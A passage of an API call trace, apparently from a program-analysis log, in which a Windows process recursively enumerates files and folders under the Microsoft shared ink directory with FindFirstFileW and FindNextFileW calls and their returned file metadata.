[0148.162] GetLastError () returned 0x12 [0148.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-CA\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.162] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.162] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.162] GetLastError () returned 0x12 [0148.162] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e126ecb, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e126ecb, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e126ecb, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.162] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.162] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.162] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0148.163] GetLastError () returned 0x12 [0148.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fr-FR\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.163] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.163] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.163] GetLastError () returned 0x12 [0148.163] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.163] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.163] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.163] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0148.163] GetLastError () returned 0x12 [0148.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.163] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.163] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0148.164] GetLastError () returned 0x12 [0148.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\*", lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName=".", cAlternateFileName="")) returned 0x894bf8 [0148.164] FindNextFileW (in: hFindFile=0x894bf8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638633, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName="..", cAlternateFileName="")) returned 1 [0148.164] FindNextFileW (in: hFindFile=0x894bf8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x13a, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0148.164] GetLastError () returned 0x12 [0148.164] FindNextFileW (in: hFindFile=0x894bf8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x13a, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0148.165] FindClose (in: hFindFile=0x894bf8 | out: hFindFile=0x894bf8) returned 1 [0148.165] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.165] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0148.165] GetLastError () returned 0x12 [0148.165] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="insert", cAlternateFileName="")) returned 1 [0148.165] GetLastError () returned 0x12 [0148.165] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*", lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName=".", cAlternateFileName="")) returned 0x8954f8 [0148.165] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName="..", cAlternateFileName="")) returned 1 [0148.165] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x13a, cFileName="insertbase.xml", cAlternateFileName="")) returned 1 [0148.165] GetLastError () returned 0x12 [0148.312] FindNextFileW (in: hFindFile=0x8954f8, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x13a, cFileName="insertbase.xml", cAlternateFileName="")) returned 0 [0148.312] FindClose (in: hFindFile=0x8954f8 | out: hFindFile=0x8954f8) returned 1 [0148.415] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.417] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0148.417] GetLastError () returned 0x12 [0148.417] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad", cAlternateFileName="")) returned 1 [0148.417] GetLastError () returned 0x12 [0148.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*", lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName=".", cAlternateFileName="")) returned 0x894e38 [0148.417] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName="..", cAlternateFileName="")) returned 1 [0148.417] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x13a, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0148.418] GetLastError () returned 0x12 [0148.418] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x0, dwReserved1=0x13a, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0148.418] GetLastError () returned 0x12 [0148.418] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x13a, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0148.418] GetLastError () returned 0x12 [0148.418] FindNextFileW (in: hFindFile=0x894e38, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x13a, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0148.418] FindClose (in: hFindFile=0x894e38 | out: hFindFile=0x894e38) returned 1 [0148.418] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4540090 | out: hHeap=0x23a0000) returned 1 [0148.418] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0148.418] GetLastError () returned 0x12 [0148.418] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="main", cAlternateFileName="")) returned 1 [0148.419] GetLastError () returned 0x12 [0148.419] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName=".", cAlternateFileName="")) returned 0x894f78 [0148.419] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x13a, cFileName="..", cAlternateFileName="")) returned 1 [0148.419] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd05, dwReserved0=0x0, dwReserved1=0x13a, cFileName="base.xml", cAlternateFileName="")) returned 1 [0148.419] GetLastError () returned 0x12 [0148.419] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x13a, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0148.419] GetLastError () returned 0x12 [0148.419] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x13a, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0148.419] GetLastError () returned 0x12 [0148.419] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc9, dwReserved0=0x0, dwReserved1=0x13a, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0148.419] GetLastError () returned 0x12 [0148.419] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x13a, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0148.420] GetLastError () returned 0x12 [0148.420] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x13a, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0148.420] GetLastError () returned 0x12 [0148.420] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x13a, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0148.420] GetLastError () returned 0x12 [0148.420] FindNextFileW (in: hFindFile=0x894f78, lpFindFileData=0x3c1e9f0 | out: lpFindFileData=0x3c1e9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x269, 